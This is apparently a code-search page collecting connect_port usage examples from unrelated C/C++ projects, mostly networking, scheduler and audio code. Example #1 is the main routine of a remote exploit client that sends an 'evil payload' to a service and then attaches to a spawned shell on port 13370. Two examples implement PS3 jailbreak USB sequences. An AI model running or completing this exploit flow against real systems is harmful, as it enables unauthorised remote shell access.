コード例 #1
0
int main(int argc, char **argv)
{
  int sock_maxdb, sock_shell;
  struct hostent *hn;

  banner();
  if (argc < 2) usage(argv[0]);

  memset(&host, 0, sizeof(host));
  host.sin_family = AF_INET;
  host.sin_port = (argc > 2) ? htons((u_short)atoi(argv[2])) : htons(9999);

  if ( (hn = gethostbyname(argv[1])) == NULL)
    errx(-1, "Unresolvable address\n");

  memcpy(&host.sin_addr, hn->h_addr, hn->h_length);
  printf("[*] Connecting to %s:%d... ",
	 inet_ntoa(host.sin_addr), ntohs(host.sin_port));
  fflush(stdout);

  sock_maxdb = connect_port(ntohs(host.sin_port));

  if (!sock_maxdb) 
    {
      printf("failure.\n\n");
      exit(-1);
    }
  printf("success.\n");

  printf("[*] Sending evil payload...\n");
  exploit(sock_maxdb);
  close(sock_maxdb);
  fflush(stdout);

  sleep(1);

  printf("[*] Trying to connect to spawned shell... ");
  sock_shell = connect_port(13370);

  if (!sock_shell)
    {
      printf("failure.\n\n");
      exit(-1);
    }

  printf("success!\n\nEnjoy :)\n\n");
  shell(sock_shell);

  return 0;
}
コード例 #2
0
/* return -1     on failure */
int
connect_portrange(
    sockaddr_union *addrp,
    in_port_t		first_port,
    in_port_t		last_port,
    char *		proto,
    sockaddr_union *svaddr,
    int			nonblock)
{
    int			s;
    in_port_t		port;
    static in_port_t	port_in_use[1024];
    static int		nb_port_in_use = 0;
    int			i;
    int			save_errno = EAGAIN;

    assert(first_port <= last_port);
    /* Try a port already used */
    for(i=0; i < nb_port_in_use; i++) {
	port = port_in_use[i];
	if(port >= first_port && port <= last_port) {
	    s = connect_port(addrp, port, proto, svaddr, nonblock);
	    if(s == -2) return -1;
	    if(s >= 0) {
		return s;
	    }
	    if (errno != EAGAIN && errno != EBUSY)
		save_errno = errno;
	}
    }

    /* Try a port in the range */
    for (port = first_port; port <= last_port; port++) {
	s = connect_port(addrp, port, proto, svaddr, nonblock);
	if(s == -2) return -1;
	if(s >= 0) {
	    port_in_use[nb_port_in_use++] = port;
	    return s;
	}
	if (errno != EAGAIN && errno != EBUSY)
	    save_errno = errno;
    }

    dbprintf(_("connect_portrange: All ports between %d and %d are busy.\n"),
	      first_port,
	      last_port);
    errno = save_errno;
    return -1;
}
コード例 #3
0
ファイル: monitor_thread.c プロジェクト: lianqiw/maos
//connect to scheduler(host)
static void add_host(gpointer data){
    int ihost=GPOINTER_TO_INT(data);
    int todo=0;
    LOCK(mhost);
    if(hsock[ihost]==-1){
	hsock[ihost]--;//make it -2 so no concurrent access.
	todo=1;
    }
    UNLOCK(mhost);
    if(todo){
	int sock=connect_port(hosts[ihost], PORT, 0, 0);
	if(sock>-1){
	    int cmd[2];
	    cmd[0]=CMD_MONITOR;
	    cmd[1]=scheduler_version;
	    if(stwriteintarr(sock, cmd, 2)){//write failed.
		warning("Rare event: Failed to write to scheduler at %s\n", hosts[ihost]);
		close(sock);
		LOCK(mhost);
		hsock[ihost]=-1;
		UNLOCK(mhost);
	    }else{
		host_added(ihost, sock);
	    }
	}else{
	    LOCK(mhost);
	    hsock[ihost]=-1;
	    UNLOCK(mhost);
	}
    }
}
コード例 #4
0
ファイル: ethtest_standalone.c プロジェクト: lianqiw/maos
int client(const char *hostname, int port, int type){
    int sock;
    int nretry=10;
    if(type==1){
	sock=connect_port(hostname, port, 0, 0);
	if(sock<0) exit(1);
	for(long iN=1; iN<=N; iN++){
	    for(int i=0; i<nretry; i++){
		double tim1=myclockd();
		WRITE(sock, &iN, sizeof(long));
		double tim2=myclockd();
		READ(sock, temp, sizeof(double));
		double tim3=myclockd();
		WRITE(sock, temp, sizeof(double)*iN);
		double tim4=myclockd();
		READ(sock, temp, sizeof(double));
		double tim5=myclockd();
		dbg("N=%ld, send %5.1f, read %5.1f, send2 %5.1f read2 %5.1f\n", iN, (tim2-tim1)*1e6, (tim3-tim2)*1e6, (tim4-tim3)*1e6, (tim5-tim4)*1e6);
	    }
	}
    }else{
	sock=socket(AF_INET, SOCK_DGRAM, 0);
    }
    return 0;
}
コード例 #5
0
ファイル: midi_player.cpp プロジェクト: RoberNoTson/JV1080lib
//  SLOTS
void JVlibForm::on_System_OpenMidi_button_clicked()
{
    disconnect_port();
//    close_seq();
    System_PlayMidi_button->setChecked(false);
    System_PlayMidi_button->setEnabled(false);
    System_PauseMidi_button->setEnabled(false);
    SysFilePlaying->clear();
    System_MIDI_Transpose->setValue(0);
    System_MIDI_KeySig->clear();
    MIDI_length_display->setText("00:00");
    QString fn = QFileDialog::getOpenFileName(this,"Open MIDI File",MIDI_dir,"Midi files (*.mid, *.MID);;Any (*.*)");
    if (fn.isEmpty())
        return;
    strcpy(playfile, fn.toAscii().data());
    SysFilePlaying->setText(fn);
    init_seq();
    if (!queue) queue = snd_seq_alloc_named_queue(seq, "midi_play");
    check_snd("create queue", queue);
    connect_port();
    all_events.clear();
    if (!parseFile(playfile)) {
        QMessageBox::critical(this, "MIDI Player", QString("Error parsing input file"));
        return;
    }   // parseFile
    System_MIDI_progressBar->setRange(0,all_events.back().tick);
    System_MIDI_progressBar->setTickInterval(song_length_seconds<240? all_events.back().tick/song_length_seconds*10 : all_events.back().tick/song_length_seconds*30);
    System_MIDI_progressBar->setTickPosition(QSlider::TicksAbove);
    MIDI_length_display->setText(QString::number(static_cast<int>(song_length_seconds/60)).rightJustified(2,'0') + ":" + QString::number(static_cast<int>(song_length_seconds)%60).rightJustified(2,'0'));
    System_PlayMidi_button->setEnabled(true);
    System_MIDI_Transpose->setEnabled(true);
}   // end on_System_OpenMidi_button_clicked
コード例 #6
0
ファイル: midi_player.cpp プロジェクト: RoberNoTson/JV1080lib
void JVlibForm::on_System_PauseMidi_button_toggled(bool checked)
{
  unsigned int current_tick;
  if (checked) {
      stopPlayer();
      if (seqTimer->isActive()) {
            disconnect(JVlibForm::seqTimer, SIGNAL(timeout()), this, SLOT(tickDisplay()));
            seqTimer->stop();
      }
        snd_seq_get_queue_status(seq, queue, status);
	current_tick = snd_seq_queue_status_get_tick_time(status);
        snd_seq_stop_queue(seq,queue,NULL);
        snd_seq_drain_output(seq);
	stop_sound();
	disconnect_port();
        System_PauseMidi_button->setText("Resume");
  }
  else {
	connect_port();
        snd_seq_continue_queue(seq, queue, NULL);
        snd_seq_drain_output(seq);
        snd_seq_get_queue_status(seq, queue, status);
	current_tick = snd_seq_queue_status_get_tick_time(status);
        System_PauseMidi_button->setText("Pause");
        connect(JVlibForm::seqTimer, SIGNAL(timeout()), this, SLOT(tickDisplay()));
	startPlayer(current_tick);
        seqTimer->start(100);
  }
}   // end on_System_PauseMidi_button_toggled
コード例 #7
0
ファイル: port.c プロジェクト: BloodLiker/bluez
static DBusMessage *port_connect(DBusConnection *conn,
					DBusMessage *msg, void *user_data)
{
	struct serial_device *device = user_data;
	struct serial_port *port;
	const char *pattern;
	int err;

	if (dbus_message_has_member(msg, "ConnectFD") && DBUS_TYPE_UNIX_FD < 0)
		return btd_error_not_supported(msg);

	if (dbus_message_get_args(msg, NULL, DBUS_TYPE_STRING, &pattern,
						DBUS_TYPE_INVALID) == FALSE)
		return NULL;

	port = find_port(device->ports, pattern);
	if (!port) {
		char *endptr = NULL;
		int channel;

		channel = strtol(pattern, &endptr, 10);
		if ((endptr && *endptr != '\0') || channel < 1 || channel > 30)
			return btd_error_does_not_exist(msg);

		port = create_port(device, NULL, channel);
	}

	if (port->listener_id)
		return btd_error_failed(msg, "Port already in use");

	port->listener_id = g_dbus_add_disconnect_watch(conn,
						dbus_message_get_sender(msg),
						port_owner_exited, port,
						NULL);

	port->msg = dbus_message_ref(msg);

	err = connect_port(port);
	if (err < 0) {
		error("%s", strerror(-err));
		g_dbus_remove_watch(conn, port->listener_id);
		port->listener_id = 0;

		return btd_error_failed(msg, strerror(-err));
	}

	return NULL;
}
コード例 #8
0
ファイル: psgrade.c プロジェクト: cloned67/PSGrade
	int 				main									(void)					{
	 state = init;
	 SetupHardware();
 	 LED(~GREEN);
	 //HMACInit(jig_key,20);
	 //switch_port(0);
	 
 	 for (;;) {
  	  USB_USBTask(); // why not in ISR ?
	
      if (expire ==0){    	
 	   switch (state) {
		case start: 		
		      connect_port(5); 
			  state = p5_wait_reset;
			  break;
			  
		case JIG_wait_reset:
 		      switch_port(5);
		      state = p5_wait_enumerate;
              break;

		case JIG_do_answer: 
		      JIG_Task(); 
			  break;

 	    case JIG_responded:
 		     disconnect_port(5);
		     state = p5_wait_disconnect;
			 break; 

		case JIG_wait_disconnect:
		     if (last_port_conn_clear == 5) {
		      state = p5_disconnected;
		      expire = 20;
			 } 
			 break;
		case JIG_disconnected:	 
     		 LED(GREEN);
			 break;
			 
		default:
		  break;
	   } 
	  }		
	 }
	}
コード例 #9
0
ファイル: midi_player.cpp プロジェクト: RoberNoTson/JV1080lib
void JVlibForm::on_System_PlayMidi_button_toggled(bool checked) {
    if (checked) {
	seqTimer = new QTimer(this);
        System_PauseMidi_button->setEnabled(true);
        System_OpenMidi_button->setEnabled(false);
        System_PlayMidi_button->setText("Stop");
	System_MIDI_progressBar->setEnabled(true);
        connect_port();
        // queue won't actually start until it is drained
        int err = snd_seq_start_queue(seq, queue, NULL);
        check_snd("start queue", err);
	System_PlayMidi_status->on();
        connect(JVlibForm::seqTimer, SIGNAL(timeout()), this, SLOT(tickDisplay()));
        seqTimer->start(100);
	startPlayer(0);
    }
    else {
        if (seqTimer->isActive()) {
            disconnect(JVlibForm::seqTimer, SIGNAL(timeout()), this, SLOT(tickDisplay()));
            seqTimer->stop();
	    delete seqTimer;
        }
        snd_seq_stop_queue(seq,queue,NULL);
        snd_seq_drain_output(seq);
	stopPlayer();
	stop_sound();
        disconnect_port();
	System_PlayMidi_status->off();
	System_MIDI_progressBar->blockSignals(true);
        System_MIDI_progressBar->setValue(0);
	System_MIDI_progressBar->blockSignals(false);
        MIDI_time_display->setText("00:00");
        if (System_PauseMidi_button->isChecked()) {
            System_PauseMidi_button->blockSignals(true);
            System_PauseMidi_button->setChecked(false);
            System_PauseMidi_button->blockSignals(false);
            System_PauseMidi_button->setText("Pause");
        }
        System_PauseMidi_button->setEnabled(false);
        System_PlayMidi_button->setText("Play");
        System_OpenMidi_button->setEnabled(true);
	System_MIDI_Transpose->setEnabled(true);
	System_MIDI_progressBar->setEnabled(false);
	event_num=0;
    }
}   // end on_System_PlayMidi_button_toggled
コード例 #10
0
static void port_connection_open(PortServer * server, int fd) {
    PortConnection * conn;

    if (server->channel == NULL || is_channel_closed(server->channel)) {
        closesocket(fd);
        return;
    }

    conn = loc_alloc_zero(sizeof(PortConnection));

    if (conn == NULL) {
        closesocket(fd);
    }
    else {
        int idx = 0;
        conn->recv_req.client_data = conn;
        conn->recv_req.done = done_recv_request;
        conn->recv_req.type = server->is_udp ? AsyncReqRecvFrom : AsyncReqRecv;
        conn->recv_req.u.sio.sock = fd;
        conn->recv_req.u.sio.flags = 0;
        conn->recv_req.u.sio.bufp = conn->inbuf;
        conn->recv_req.u.sio.bufsz = IN_BUF_SIZE;
        conn->recv_req.u.sio.addr = &server->client_addr;
        conn->recv_req.u.sio.addrlen = sizeof(conn->server->client_addr);

        conn->send_req.client_data = conn;
        conn->send_req.done = done_send_request;
        conn->send_req.type = server->is_udp ? AsyncReqSendTo : AsyncReqSend;
        conn->send_req.u.sio.sock = fd;
        conn->send_req.u.sio.flags = 0;

        conn->send_in_progress = -1;    /* no send request in progress */
        for (idx = 0; idx < MAX_STREAM_READ; idx++) {
            conn->read_info[idx].idx = idx;
            conn->read_info[idx].conn = conn;
        }

        conn->fd = fd;
        conn->server = server;
        conn->next = server->list;
        server->list = conn;

        connect_port(conn);
    }
}
コード例 #11
0
ファイル: ethtest.c プロジェクト: lianqiw/maos
int client(const char *hostname, int port, int nmin, int nmax, int nstep, int nrep){
    int sock=connect_port(hostname, port, 0, 1);
    if(sock<0 || stwriteint(sock, nstep) 
       || stwriteint(sock, nmin)
       || stwriteint(sock, nmax)
       || stwriteint(sock, nrep)) {
	warning("Unable to connecto to %s\n", hostname);
	close(sock); return 1;
    }
    buf1=(char*)malloc(nmax*nstep);
    for(int i=0;i<10;i++){//warm up
	stwrite(sock, buf1, nmax);
	stread(sock, buf1, 64);
	usleep(500);
    }
    double tim1, tim2, tim3;
    int nlen=(nmax-nmin+nstep)/nstep;
    dmat *timing=dnew(nrep, nlen);
    dmat *timing2=dnew(nrep, nlen);
    int ilen=-1;
    for(int len=nmin; len<=nmax; len+=nstep){
	ilen++;
	info("len=%d\n", len);
	for(int irep=0; irep<nrep; irep++){
	    if(irep%800==0){
		info("irep=%d of %d\n", irep, nrep);
	    }
	    usleep(500);
	    tim1=myclockd();
	    stwrite(sock, buf1, len);
	    tim2=myclockd();
	    stread(sock, buf1, 64);
	    tim3=myclockd();
	    timing->p[irep+ilen*nrep]=tim3-tim1;
	    timing2->p[irep+ilen*nrep]=tim2-tim1;
	}
    }
    close(sock);
    writebin(timing, "pix_timing_%s_%d_%d_%d", HOST, nmin, nmax, nstep);
    writebin(timing2, "pix_timing2_%s_%d_%d_%d", HOST, nmin, nmax, nstep);
    dbg("done\n");
    return 0;
}
コード例 #12
0
ファイル: YLH_Connector.cpp プロジェクト: yuanlinhu/yuanlinhu
int YLH_Connector::Open_Connect( YLH_Connect_Info& connect_info )
{
    connector_super::reactor(m_Owner_Reactor);

    //YLH_Sock_Handler::addr_type connect_port(connect_info.connect_port);
    ACE_INET_Addr connect_port(connect_info.connect_port, "127.0.0.1");
    YLH_Sock_Handler* p = NULL;// = new YLH_Sock_Handler();
    //p->reactor(m_Owner_Reactor);
    //p->m_Connect_info = connect_info;
    //p->open();
    if (-1 == connector_super::connect(p, connect_port))
    {
        return -1;
    }

    p->set_owner_sever(m_owner_server);
    p->set_port(connect_info.connect_port);

    add_connect_handler(p->get_handle(), p);
    
    
    return 0;
}
コード例 #13
0
ファイル: monitor_thread.c プロジェクト: bitursa/maos
/**
   called by monitor to let a MAOS job remotely draw on this computer
*/
int scheduler_display(int ihost, int pid){
    /*connect to scheduler with a new port. The schedule pass the other
      end of the port to drawdaemon so we can communicate with it.*/
    int sock=connect_port(hosts[ihost], PORT, 0, 0);
    int ans=1;
    int cmd[2]={CMD_DISPLAY, pid};
    if(stwriteintarr(sock, cmd, 2)){
	warning("Failed to communicate to scheduler\n");
	close(sock);
    }
    if(streadintarr(sock, cmd, 1)){
	warning("Read response failed\n");
    }else if(cmd[0]){
	warning("The scheduler failed to talk to maos\n");
    }else{
	if(spawn_drawdaemon(sock)){
	    warning("spwn drawdaemon failed\n");
	}else{
	    ans=0;
	}	
	close(sock);
    }
    return ans;
}
コード例 #14
0
int main(int argc, char *argv[]){
    enum{
	P_EXE,
	P_FRAC,
	P_NSTEP,
	P_TOT,
    };
    if(argc!=P_TOT){
	info2("Usage: \n\tenv MVM_CLIENT=hostname MVM_PORT=port MVM_SASTEP=sastep ./mvm_cpu fraction nstep\n");
	_Exit(0);
    }
    int fraction=strtol(argv[P_FRAC], NULL, 10);
    int nstep=strtol(argv[P_NSTEP], NULL, 10);
    int nstep0=nstep>1?20:0;//warm up
    dmat *d_saind=dread("NFIRAOS_saind");
    const int nsa=(d_saind->nx-1)/fraction;
    int *saind=mymalloc((1+nsa),int);
    for(int i=0; i<nsa+1; i++){
	saind[i]=(int)d_saind->p[i];
    }
    dfree(d_saind);
    const int totpix=saind[nsa];
    const int nact=6981;//active subapertures.
    int ng=nsa*2;
    float FSMdelta=-0.2;
    smat *dm=snew(nact,1);
    smat *mvm=snew(nact, ng);
    smat *mtch=snew(totpix*2,1);
    smat *grad=snew(ng,1);
    smat *im0=snew(totpix,3);
    short *pix=mymalloc(totpix,short);
    short *pixbias=mymalloc(totpix,short);
    {
	rand_t rseed;
	seed_rand(&rseed, 1);
	srandu(mvm, 1e-7, &rseed);
	srandu(mtch, 1, &rseed);
	for(int i=0; i<totpix; i++){
	    pix[i]=(short)(randu(&rseed)*25565);
	    pixbias[i]=(short)(randu(&rseed)*1000);
	}
    }
    smat *mvmt=strans(mvm);
    int sastep=200;//how many subapertures each time
    int nrep=1;
    if(getenv("MVM_NREP")){
	nrep=strtol(getenv("MVM_NREP"), NULL, 10);
    }
    if(getenv("MVM_SECT")){
	sastep=nsa/strtol(getenv("MVM_SECT"), NULL, 10);
    }
    if(getenv("MVM_TRANS")){
	use_trans=strtol(getenv("MVM_TRANS"), NULL, 10);
    }
    if(getenv("MVM_SASTEP")){
	sastep=strtol(getenv("MVM_SASTEP"), NULL, 10);
    }
    info2("use_trans=%d, nrep=%d, sastep=%d\n", use_trans, nrep, sastep);
    int sock=-1;
    char* MVM_CLIENT=getenv("MVM_CLIENT");
    if(MVM_CLIENT){
	short port=(short)strtol(getenv("MVM_PORT"), NULL, 10);
	sock=connect_port(MVM_CLIENT, port, 0 ,1);
	if(sock!=-1) {
	    info2("Connected\n");
	    int cmd[7];
	    cmd[0]=nact;
	    cmd[1]=nsa;
	    cmd[2]=sastep;
	    cmd[3]=totpix;
	    cmd[4]=nstep;
	    cmd[5]=nstep0;
	    cmd[6]=2;
	    if(stwriteintarr(sock, cmd, 7) 
	       || stwriteintarr(sock, saind, nsa+1)
	       || stwrite(sock, pix, sizeof(short)*totpix)){
		close(sock); sock=-1;
		warning("Failed: %s\n", strerror(errno));
	    }
	}
    }
    int ready=0;
    if(sock!=-1 && stwriteint(sock, ready)){
	warning("error send ready signal: %s\n", strerror(errno));
	close(sock); sock=-1;
    }
    smat *timing=snew(nstep, 1);
    TIC;
    float timtot=0, timmax=0, timmin=INFINITY;
    set_realtime(-1, -20);
    for(int jstep=-nstep0; jstep<nstep; jstep++){
	int istep=jstep<0?0:jstep;
	tic;
	double theta=M_PI*0.5*istep+FSMdelta;
	float cd=cos(theta);
	float sd=cos(theta);
	szero(dm);
	for(int isa=0; isa<nsa; isa+=sastep){
	    int npixleft;
	    int nsaleft;
	    if(nsa<isa+sastep){//terminate
		npixleft=totpix-saind[isa];
		nsaleft=nsa-isa;
	    }else{
		npixleft=saind[isa+sastep]-saind[isa];
		nsaleft=sastep;
	    }

	    short *pcur=pix+saind[isa];
	    if(sock!=-1){
		if(stread(sock, pcur, sizeof(short)*npixleft)){
		    warning("failed: %s\n", strerror(errno));
		    close(sock); sock=-1;
		    _Exit(1);
		}
		if(isa==0) tic;
	    }
	    //Matched filter
	    mtch_do(mtch->p, pix, pixbias, 
		    grad->p+isa*2, im0->p, im0->p+totpix, im0->p+totpix*2,
		    saind+isa, nsaleft, cd, sd);
	    //MVM
	    for(int irep=0; irep<nrep; irep++){
		if(use_trans){
		    mvmt_do(mvmt->p+isa*2, grad->p+isa*2,dm->p, nact, nsaleft*2, ng);
		}else{
		    mvm_do(mvm->p+isa*2*nact, grad->p+isa*2, dm->p, nact, nsaleft*2);
		}
	    }
	}//for isa
	if(sock!=-1){
	    if(stwrite(sock, dm->p, sizeof(float)*nact)){
		warning("error write dmres: %s\n", strerror(errno));
		close(sock); sock=-1;
		_Exit(1);
	    }
	    if(streadint(sock, &ready)){//acknowledgement.
		warning("error read ack failed: %s\n", strerror(errno));
		close(sock), sock=-1;
		_Exit(1);
	    }
	    timing->p[istep]=ready*1.e-6;
	}else{
	    timing->p[istep]=toc3;//do not tic.
	}
	if(jstep==istep){
	    timtot+=timing->p[istep];
	    if(timmax<timing->p[istep]){
		timmax=timing->p[istep];
	    }
	    if(timmin>timing->p[istep]){
		timmin=timing->p[istep];
	    }
	}
    }//for istep
    float timmean=timtot/nstep;
    info2("Timing is mean %.3f, max %.3f min %.3f. BW is %.1f of 51.2GB/s\n",
	  timmean*1e3, timmax*1e3, timmin*1e3, nrep*(nact*ng+nact+ng)*sizeof(float)/timmean/(1024*1024*1024));
    writebin(timing, "cpu_timing_%s", HOST);
    if(nstep==1){
	writearr("cpu_pix", 1, sizeof(short), M_INT16, NULL, pix, totpix, 1);
	writearr("cpu_pixbias", 1, sizeof(short), M_INT16, NULL, pixbias, totpix, 1);
	writebin(dm, "cpu_dm");
	writebin(grad, "cpu_grad");
	writebin(mvm, "cpu_mvm");
	writebin(mtch, "cpu_mtch");
    }
   
}
コード例 #15
0
/**
 * ags_recall_dssi_run_load_ports:
 * @recall_dssi_run: the #AgsRecallDssiRun
 *
 * Set up DSSI ports.
 *
 * Since: 2.0.0
 */
void
ags_recall_dssi_run_load_ports(AgsRecallDssiRun *recall_dssi_run)
{
  AgsRecallDssi *recall_dssi;
  AgsRecallChannelRun *recall_channel_run;
  AgsRecallRecycling *recall_recycling;
  AgsPort *current_port;

  AgsDssiPlugin *dssi_plugin;

  GList *list_start, *list;

  gchar *specifier, *current_specifier;
  
  guint output_lines, input_lines;
  guint port_count;
  guint i, j, j_stop;

  DSSI_Descriptor *plugin_descriptor;
  LADSPA_PortDescriptor *port_descriptor;
  LADSPA_PortDescriptor current_port_descriptor;
  
  void (*connect_port)(LADSPA_Handle Instance,
		       unsigned long Port,
		       LADSPA_Data * DataLocation);

  pthread_mutex_t *recall_dssi_mutex;
  pthread_mutex_t *base_plugin_mutex;
  pthread_mutex_t *port_mutex;

  if(!AGS_IS_RECALL_DSSI_RUN(recall_dssi_run)){
    return;
  }

  g_object_get(recall_dssi_run,
	       "parent", &recall_recycling,
	       NULL);

  g_object_get(recall_recycling,
	       "parent", &recall_channel_run,
	       NULL);

  g_object_get(recall_channel_run,
	       "recall-channel", &recall_dssi,
	       NULL);
  
  /* get recall dssi mutex */
  pthread_mutex_lock(ags_recall_get_class_mutex());
  
  recall_dssi_mutex = AGS_RECALL(recall_dssi)->obj_mutex;
  
  pthread_mutex_unlock(ags_recall_get_class_mutex());

  /* get some fields */
  pthread_mutex_lock(recall_dssi_mutex);
  
  output_lines = recall_dssi->output_lines;
  input_lines = recall_dssi->input_lines;

  list_start = g_list_copy(AGS_RECALL(recall_dssi)->port);

  dssi_plugin = recall_dssi->plugin;
  
  plugin_descriptor = recall_dssi->plugin_descriptor;
  
  pthread_mutex_unlock(recall_dssi_mutex);

  /* base plugin mutex */
  pthread_mutex_lock(ags_base_plugin_get_class_mutex());

  base_plugin_mutex = AGS_BASE_PLUGIN(dssi_plugin)->obj_mutex;
  
  pthread_mutex_unlock(ags_base_plugin_get_class_mutex());

  /* get some fields */
  pthread_mutex_lock(base_plugin_mutex);

  port_count = plugin_descriptor->LADSPA_Plugin->PortCount;
  
  port_descriptor = plugin_descriptor->LADSPA_Plugin->PortDescriptors;
  connect_port = plugin_descriptor->LADSPA_Plugin->connect_port;

  pthread_mutex_unlock(base_plugin_mutex);

  /* match port */
  if(input_lines < output_lines){
    j_stop = output_lines;
  }else{
    j_stop = input_lines;
  }

  for(i = 0; i < port_count; i++){
    pthread_mutex_lock(base_plugin_mutex);

    current_port_descriptor = port_descriptor[i];
    
    pthread_mutex_unlock(base_plugin_mutex);

    if(LADSPA_IS_PORT_CONTROL(current_port_descriptor)){
      if(LADSPA_IS_PORT_INPUT(current_port_descriptor) ||
	 LADSPA_IS_PORT_OUTPUT(current_port_descriptor)){
	LADSPA_Data *port_pointer;
	
	pthread_mutex_lock(base_plugin_mutex);

	specifier = g_strdup(plugin_descriptor->LADSPA_Plugin->PortNames[i]);

	pthread_mutex_unlock(base_plugin_mutex);

	list = ags_port_find_specifier(list_start, specifier);
	g_free(specifier);

	if(list != NULL){
	  current_port = list->data;
	  
	  /* get port mutex */
	  pthread_mutex_lock(ags_port_get_class_mutex());

	  port_mutex = current_port->obj_mutex;
      
	  pthread_mutex_unlock(ags_port_get_class_mutex());

	  /* get port pointer */
	  pthread_mutex_lock(port_mutex);
	    
	  port_pointer = (LADSPA_Data *) &(current_port->port_value.ags_port_ladspa);

	  pthread_mutex_unlock(port_mutex);

	  for(j = 0; j < j_stop; j++){
#ifdef AGS_DEBUG
	    g_message("connecting port[%d]: %d/%d - %f", j, i, port_count, current->port_value.ags_port_ladspa);
#endif	  
	    connect_port(recall_dssi_run->ladspa_handle[j],
			 (unsigned long) i,
			 port_pointer);
	  }
	}
      }
    }
  }

  g_list_free(list_start);
  
  /* connect audio port */
  for(j = 0; j < input_lines; j++){
    connect_port(recall_dssi_run->ladspa_handle[j],
		 (unsigned long) (recall_dssi->input_port[j]),
		 &(recall_dssi_run->input[j]));
  }
  
  for(j = 0; j < recall_dssi->output_lines; j++){
    connect_port(recall_dssi_run->ladspa_handle[j],
		 (unsigned long) (recall_dssi->output_port[j]),
		 &(recall_dssi_run->output[j]));
  }

  g_object_unref(recall_recycling);

  g_object_unref(recall_channel_run);

  g_object_unref(recall_dssi);
}
コード例 #16
0
ファイル: YLH_Connector.cpp プロジェクト: yuanlinhu/yuanlinhu
int YLH_Connector::do_connect(YLH_Sock_Handler* connect_handler, YLH_Connect_Info connect_info)
{
    ACE_INET_Addr connect_port(connect_info.connect_port, "192.168.1.224");
    return connector_super::connect(connect_handler, connect_port);
}
コード例 #17
0
ファイル: psgroove.c プロジェクト: ixhundred/psgroove
int main(void)
{
	SetupHardware();

	setLed(RED);

	state = init;
	switch_port(0);
   DBGMSG1("Ready.");

   // Copy the hub descriptor into ram, vusb's
   // usbFunctionSetup() callback can't handle stuff
   // from FLASH
   memcpy_P(HUB_Hub_Descriptor_ram, HUB_Hub_Descriptor, sizeof(HUB_Hub_Descriptor));

	for (;;)
	{
		if (port_cur == 0)
			HUB_Task();

		if (port_cur == 5)
			JIG_Task();

      usbPoll();

		// connect 1
		if (state == hub_ready && expire == 0)
		{
         DBG1(0x00, "\x1", 1);
         setLed(NONE);
			connect_port(1);
			state = p1_wait_reset;
		}
		
		if (state == p1_wait_reset && last_port_reset_clear == 1)
		{
         DBG1(0x00, "\x2", 1);
         setLed(RED);
			switch_port(1);
			state = p1_wait_enumerate;
		}

		// connect 2
		if (state == p1_ready && expire == 0)
		{
         DBG1(0x00, "\x3", 1);
         setLed(NONE);
			switch_port(0);
			connect_port(2);
			state = p2_wait_reset;
		}

		if (state == p2_wait_reset && last_port_reset_clear == 2)
		{
         DBG1(0x00, "\x4", 1);
         setLed(RED);
			switch_port(2);
			state = p2_wait_enumerate;
		}

		// connect 3
		if (state == p2_ready && expire == 0)
		{
         DBG1(0x00, "\x5", 1);
         setLed(NONE);
			switch_port(0);
			connect_port(3);
			state = p3_wait_reset;
		}

		if (state == p3_wait_reset && last_port_reset_clear == 3)
		{
         DBG1(0x00, "\x6", 1);
         setLed(RED);
			switch_port(3);
			state = p3_wait_enumerate;
		}

		// disconnect 2
		if (state == p3_ready && expire == 0)
		{
         DBG1(0x00, "\x7", 1);
         setLed(NONE);
			switch_port(0);
			disconnect_port(2);
			state = p2_wait_disconnect;
		}

		if (state == p2_wait_disconnect && last_port_conn_clear == 2)
		{
         DBG1(0x00, "\x8", 1);
         setLed(RED);
			state = p4_wait_connect;
			expire = 15;
		}

		// connect 4
		if (state == p4_wait_connect && expire == 0) 
		{
         DBG1(0x00, "\x9", 1);
         setLed(NONE);
			connect_port(4);
			state = p4_wait_reset;
		}

		if (state == p4_wait_reset && last_port_reset_clear == 4)
		{
         DBG1(0x00, "\x10", 1);
         setLed(RED);
			switch_port(4);
			state = p4_wait_enumerate;
		}

		// connect 5
		if (state == p4_ready && expire == 0)
		{
         DBG1(0x00, "\x11", 1);
         setLed(NONE);
			switch_port(0);
			/* When first connecting port 5, we need to
			   have the wrong data toggle for the PS3 to
			   respond */
			hub_int_force_data0 = 1;
			connect_port(5);
			state = p5_wait_reset;
		}

		if (state == p5_wait_reset && last_port_reset_clear == 5)
		{
         DBG1(0x00, "\x12", 1);
         setLed(RED);
			switch_port(5);
			state = p5_wait_enumerate;
		}

		// disconnect 3
		if (state == p5_responded && expire == 0)
		{
         DBG1(0x00, "\x13", 1);
         setLed(NONE);
			switch_port(0);
			/* Need wrong data toggle again */
			hub_int_force_data0 = 1;
			disconnect_port(3);
			state = p3_wait_disconnect;
		}

		if (state == p3_wait_disconnect && last_port_conn_clear == 3)
		{
         DBG1(0x00, "\x14", 1);
         setLed(RED);
			state = p3_disconnected;
			expire = 45;
		}

		// disconnect 5
		if (state == p3_disconnected && expire == 0)
		{
         DBG1(0x00, "\x15", 1);
         setLed(NONE);
			switch_port(0);
			disconnect_port(5);
			state = p5_wait_disconnect;
		}

		if (state == p5_wait_disconnect && last_port_conn_clear == 5)
		{
         DBG1(0x00, "\x16", 1);
         setLed(RED);
			state = p5_disconnected;
			expire = 20;
		}

		// disconnect 4
		if (state == p5_disconnected && expire == 0)
		{
         DBG1(0x00, "\x17", 1);
         setLed(NONE);
			switch_port(0);
			disconnect_port(4);
			state = p4_wait_disconnect;
		}

		if (state == p4_wait_disconnect && last_port_conn_clear == 4)
		{
         DBG1(0x00, "\x18", 1);
         setLed(RED);
			state = p4_disconnected;
			expire = 20;
		}

		// disconnect 1
		if (state == p4_disconnected && expire == 0)
		{
         DBG1(0x00, "\x19", 1);
         setLed(NONE);
			switch_port(0);
			disconnect_port(1);
			state = p1_wait_disconnect;
		}

		if (state == p1_wait_disconnect && last_port_conn_clear == 1)
		{
         DBG1(0x00, "\x20", 1);
         setLed(RED);
			state = p1_disconnected;
			expire = 20;
		}

		// connect 6
		if (state == p1_disconnected && expire == 0)
		{
         DBG1(0x00, "\x21", 1);
         setLed(NONE);
			switch_port(0);
			connect_port(6);
			state = p6_wait_reset;
		}

		if (state == p6_wait_reset && last_port_reset_clear == 6)
		{
         DBG1(0x00, "\x22", 1);
         setLed(RED);
			switch_port(6);
			state = p6_wait_enumerate;
		}

		// done
		if (state == done)
		{
			setLed(GREEN);
		}
	}
}
コード例 #18
0
ファイル: psock_test.c プロジェクト: JonBau/pscom
static
void run_send()
{
    int sock;
    int ret;
    int conid;
    char *buf;
    int i;

    printf("Start client from port %d to port %d\n",
	   arg_clientport, arg_serverport);

    sock = socket( PF_P4S , 0, 0 );
